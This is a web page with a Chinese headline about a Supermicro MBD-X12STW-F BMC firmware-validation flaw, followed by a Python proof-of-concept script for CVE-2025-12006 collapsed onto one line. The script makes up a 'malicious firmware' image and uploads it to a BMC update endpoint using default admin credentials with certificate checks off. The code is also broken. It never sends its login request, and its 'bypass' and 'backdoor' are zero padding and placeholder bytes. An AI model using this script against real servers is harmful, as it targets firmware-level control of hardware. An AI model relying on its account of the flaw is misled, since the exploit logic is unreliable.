Supermicro MBD-X12STW-F BMC固件验证漏洞允许特权攻击者植入恶意固件

#!/usr/bin/env python3 """ CVE-2025-12006 PoC - Supermicro BMC Firmware Validation Bypass Note: This is a conceptual PoC for educational purposes only """ import requests import hashlib import struct # BMC Configuration BMC_IP = "192.168.1.100" BMC_USER = "admin" BMC_PASS = "admin" # Construct malicious firmware with bypass payload def create_malicious_firmware(): """ Create a specially crafted firmware image to bypass validation """ header = b'MBD-X12STW-F' # Target board identifier version = b'1.2.3' # Firmware validation bypass signature # The vulnerability allows bypassing signature check bypass_sig = bytes([0x00]) * 256 # Padding # Malicious payload - backdoor code malicious_payload = b'\x90' * 1024 # NOP sled malicious_payload += b'\xcc' * 100 # Breakpoints # Construct firmware image firmware = header + version + bypass_sig + malicious_payload return firmware def exploit(): """ Exploit the BMC firmware validation vulnerability """ session = requests.Session() # Authentication auth_url = f"https://{BMC_IP}/api/session" auth_data = {"username": BMC_USER, "password": BMC_PASS} # Create malicious firmware malicious_fw = create_malicious_firmware() # Upload firmware via vulnerable endpoint upload_url = f"https://{BMC_IP}/api/maintenance/firmware/update" files = { 'firmware': ('X12STW-F_v1.2.3.bin', malicious_fw, 'application/octet-stream') } # Due to validation bypass, this upload may succeed response = session.post(upload_url, files=files, verify=False) print(f"Upload Response: {response.status_code}") print(f"Response Body: {response.text}") return response.status_code == 200 if __name__ == "__main__": print("CVE-2025-12006 - Supermicro BMC Firmware Validation Bypass") print("Target: Supermicro MBD-X12STW-F") print("=" * 60) if exploit(): print("[+] Malicious firmware uploaded successfully!") print("[+] System may be compromised at firmware level") else: print("[-] Exploitation failed or target not vulnerable")